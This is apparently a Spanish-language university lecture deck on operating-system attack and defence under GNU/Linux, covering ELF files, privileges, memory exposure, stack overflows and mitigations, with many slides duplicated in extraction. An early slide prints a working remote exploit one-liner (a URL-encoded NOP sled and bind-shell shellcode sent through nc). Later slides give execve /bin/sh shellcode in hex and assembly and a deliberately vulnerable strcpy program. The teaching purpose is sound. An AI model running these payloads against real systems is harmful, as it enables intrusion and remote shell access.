1. Seguridad en Sistemas Operativos
Ataque y Defensa
Jacobo Avariento Gimeno
jacobo@sofistic.net
15 de junio de 2011
Universitat Jaume I
2.
3. 1 Intro
2 Breve repaso al S.O. GNU/Linux
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
3 Ataques a ficheros ejecutables
Llamadas al sistema
Accediendo a la memoria
4 Desbordamientos de pila
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
5 Desbordamientos de enteros
6 Seguridad f´ısica
4. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Vulnerabilidad, Exploit, POC
echo -ne "GET /kung/ldap://localhost/‘perl -e ’print "%90"x128’‘%89%e6
%31%c0%31%db%89%f1%b0%02%89%06%b0%01%89%46%04%b0%06%89%46%08%b0%66%b3
%01%cd%80%89%06%b0%02%66%89%46%0c%b0%77%66%89%46%0e%8d%46%0c%89%46%04
%31%c0%89%46%10%b0%10%89%46%08%b0%66%b3%02%cd%80%b0%01%89%46%04%b0%66
%b3%04%cd%80%31%c0%89%46%04%89%46%08%b0%66%b3%05%cd%80%88%c3%b0%3f%31
%c9%cd%80%b0%3f%b1%01%cd%80%b0%3f%b1%02%cd%80%b8%23%62%69%6e%89%06%b8
%23%73%68%23%89%46%04%31%c0%88%46%07%b0%30%2c%01%88%46%04%88%06%89%76
%08%31%c0%89%46%0c%b0%0b%89%f3%8d%4e%08%8d%56%0c%cd%80%31%c0%b0%01%31%db
%cd%80%3FC%3FC%3FCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
%77%ae%34%08CCCCCCCCCCCCCCCCCCCCCCCCCCC%3FC%3F HTTP/1.1rn
Host: $hostrnrn" | nc $host 80
Source: http://ciberjacobo.com/sec/mod rewrite.html
Jacobo Avariento Seguridad en Sistemas Operativos
6. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
7. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
8. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
9. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
10. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
11. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Disclosure timeline & jargon
1 Eureka!
2 Notificar + POC
3 Solucionar, release patch, actualizar
4 Publicar vulnerabilidad/exploit/POC (bugtraq)
Cuando NO: 0-day / exploit-in-the-wild
Jacobo Avariento Seguridad en Sistemas Operativos
12. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Breve repaso al S.O. GNU/Linux
Jacobo Avariento Seguridad en Sistemas Operativos
13. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
14. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
15. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
16. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Intro
Proceso: Programa en memoria
Programas en GNU/Linux: Formato ELF
ELF: Executable and Linking Format
Tipos: Est´atico (gcc -static), librer´ıa din´amica (gcc
-shared), core, fichero objeto (gcc -c), fichero ejecutable (gcc
-o), . . .
Jacobo Avariento Seguridad en Sistemas Operativos
17. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
18. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
19. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Secciones de un fichero ELF
.text: C´odigo m´aquina
.rel.text: “Relocated Text“
.data: Variables globales inicializadas
.bss: Variables globales no inicializadas (“Block started by
Symbol”)
.rodata: Datos de solo lectura, por ej.: cadenas, constantes. . .
.interp, .hash, .dynsym, .dynstr, .dynamic: Usados por el
enlazador din´amico (“dynamic loader”)
.plt: Tabla con las direcciones a las funciones de una librer´ıa
din´amica
.got: (“Global Offset Table“) Punteros a las variables globales
Jacobo Avariento Seguridad en Sistemas Operativos
20. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
21. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
22. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Herramientas de an´alisis
$ /usr/bin/readelf -S programa Muestra las secciones
Section Headers:
[Nr] Name Type Addr Off Size ES Flg Lk Inf Al
[ 0] NULL 00000000 000000 000000 00 0 0 0
[ 1] .interp PROGBITS 08048134 000134 000013 00 A 0 0 1
...
$ /usr/sbin/readelf -r programa Muestra la GOT
$ cat /proc/< PID >/maps
08048000-080cb000 r-xp 00000000 08:04 32708 /bin/bash
080cb000-080ce000 rwxp 00083000 08:04 32708 /bin/bash
080ce000-080d4000 rwxp 080ce000 00:00 0
087be000-08821000 rwxp 087be000 00:00 0 [heap]
...
Jacobo Avariento Seguridad en Sistemas Operativos
23. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
24. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Permisos en ficheros
$ ls -la /bin/bash
-rwxr-xr-x 1 root root 549188 28. Jan 20:35 /bin/bash
Opciones:
r: read
w: write
x: eXecution
t: sTicky bit
s: Setuid
Jacobo Avariento Seguridad en Sistemas Operativos
25. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Privilegios de ejecuci´on
RUID: “Real User ID“. getuid()
EUID: “Effective User ID“. geteuid()
-rwsr-xr-x 1 root root 31020 4. Okt 2008 /bin/ping
Jacobo Avariento Seguridad en Sistemas Operativos
26. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Espacio de Memoria Virtual de un proceso
Jacobo Avariento Seguridad en Sistemas Operativos
27. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
28. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Disposici´on de la pila (“Stack Layout“)
Jacobo Avariento Seguridad en Sistemas Operativos
29. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Jacobo Avariento Seguridad en Sistemas Operativos
30. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
31. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Bloque de activaci´on de la subrutina
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff
call 8048350 <printf@plt>
C´odigo ensamblador (“Callee“)
55 push %ebp
89 e5 mov %esp,%ebp
83 ec 04 sub $0x4,%esp
Jacobo Avariento Seguridad en Sistemas Operativos
32. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Procesos
Ficheros ELF
Permisos y privilegios
Memoria Virtual
Rutina de llamada a funci´on
Devolviendo el control al programa...
C´odigo ensamblador (”Caller”)
e8 e0 fe ff ff call 8048350 <printf@plt>
c9 leave
c3 ret
Jacobo Avariento Seguridad en Sistemas Operativos
33. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Ataques a ficheros ejecutables
Jacobo Avariento Seguridad en Sistemas Operativos
34. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
35. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Interceptando llamadas al sistema
ltrace
Intercepta llamadas a librer´ıas din´amicas ejecutadas por el
proceso
$ ltrace -e open ./syscall hijacking
open("/tmp/pass", 0, 026773603300) = -1
+++ exited (status 0) +++
strace
Intercepta llamadas del sistema y se˜nales de un proceso
$ strace -e trace=open ./syscall hijacking
open("/etc/ld.so.cache", O_RDONLY) = 3
open("/lib/libc.so.6", O_RDONLY) = 3
open("/tmp/pass", O_RDONLY) = -1 ENOENT (No such file or directory)
Jacobo Avariento Seguridad en Sistemas Operativos
36. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
37. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
38. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Cualquiera puede acceder a ella (ej.: Xing DVD Player)
No debe contener contrase˜nas, llaves, ni material sensible
Muy f´acil de interceptar, por ejemplo, con strings o gdb
Jacobo Avariento Seguridad en Sistemas Operativos
39. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
40. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
La memoria es insegura
Ejemplo (Fichero get pass.c)
char pass[]= "XXXXXXX";
int main () {
exit(0);
}
Ataque
$ strings ./get pass
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
_IO_stdin_used
exit
__libc_start_main
GLIBC_2.0
PTRh
[^_]
password ultra secreto
Jacobo Avariento Seguridad en Sistemas Operativos
41. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
42. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
43. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
44. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Llamadas al sistema
Accediendo a la memoria
Defensa contra estos ataques
Guardar la cadena de caracteres como:
char cad[]= {’h’,’o’,’l’,’a’,’0’}
Mezclar varias cadenas para obtener la cadena objetivo:
char cad[] = ["pepito", "casita", "baston", "tris"];
/* 1) */ for (int i=0; i < 4; i++) printf("%c", cad[i][i]);
/* 2) */ printf("%c%c%c%c%c", cad[2][1], cad[0][5], cad[3][0], ...);
Criptograf´ıa: Vector de enteros + XOR, 3DES + guardando
bien la contrase˜na, . . .
GNU/Linux: mlock() / mprotect()
Jacobo Avariento Seguridad en Sistemas Operativos
45. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Desbordamientos de pila
”Stack Overflow“
Jacobo Avariento Seguridad en Sistemas Operativos
46. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
47. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Programa vulnerable
Fichero bufo2.c
void func(char *nom) {
char nombre[128];
strcpy(nombre, nom);
printf("Hola %sn", nombre);
printf("%Xn", &nombre);
}
int main(int argc, char* argv[]) {
func(argv[1]);
exit(0);
}
Demo
$ ./bufo2 $(perl -e ”print ’A’ x 8196”)
Segmentation fault (core dumped)
Jacobo Avariento Seguridad en Sistemas Operativos
48. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Por qu´e da ”Segmentation Fault”?
Jacobo Avariento Seguridad en Sistemas Operativos
49. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte I: Aprovecharse de la vulnerabilidad
Jacobo Avariento Seguridad en Sistemas Operativos
50. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
51. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
52. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
C´odigo m´aquina que ejecuta c´odigo hostil. Ej: /bin/bash
Explotaci´on local Shellcode: Ejecuta una shell
Explotaci´on remota Bindshell
Explotaci´on remota Reverse shell
Jacobo Avariento Seguridad en Sistemas Operativos
53. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Parte II: Shellcodes
/* shell sh spawner without placeholders by jack */
char shellcode2[] =
"xebx1ax5ex31xc0x88x46x07x8dx1ex89x5ex08x89x46x0c"
"xb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xe1xffxff"
"xffx2fx62x69x6ex2fx73x68";
Jacobo Avariento Seguridad en Sistemas Operativos
54. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
; nasm -f elf execve2.asm
; execve(const char *path, char *const argv[], char *const envp[]);
section .text
global _start
_start:
jmp short GotoCall
shellcode:
pop esi
xor eax,eax
mov byte [esi + 7], al ; J = 0x0
lea ebx, [esi] ; ebx = &’/bin/sh’
mov long [esi + 8], ebx ; AAAA = dir de /bin/sh
mov long [esi + 12], eax ; KKKK = 0x0000
mov byte al, 0x0b ; sys_execve syscall #11
mov ebx, esi ; argv1
lea ecx, [esi + 8] ; argv2
lea edx, [esi + 12] ; argv3
int 0x80
GotoCall:
call shellcode
db ’/bin/shJAAAAKKKK’
Jacobo Avariento Seguridad en Sistemas Operativos
55. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
56. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
Intro a la defensa: Tipos
Soportados por el S.O.:
Antes: Direcciones virtuales fijas en tiempo de compilaci´on
Ahora: Se deciden en tiempo de carga y var´ıan aleatoriamente
Soportadas en compiladores:
Para Visual C++ en Windows: /GS, /SafeSEH
Para GCC en GNU/Linux: StackGuard, ProPolice (> 4.1:
-fstack-protector-all)
Soportadas por el HW + S.O.: No eXecute (NX)
Jacobo Avariento Seguridad en Sistemas Operativos
57. Temario
Intro
Breve repaso al S.O. GNU/Linux
Ataques a ficheros ejecutables
Desbordamientos de pila
Desbordamientos de enteros
Seguridad f´ısica
Introducci´on
Entendiendo la t´ecnica
Explotando la t´ecnica
Defensa
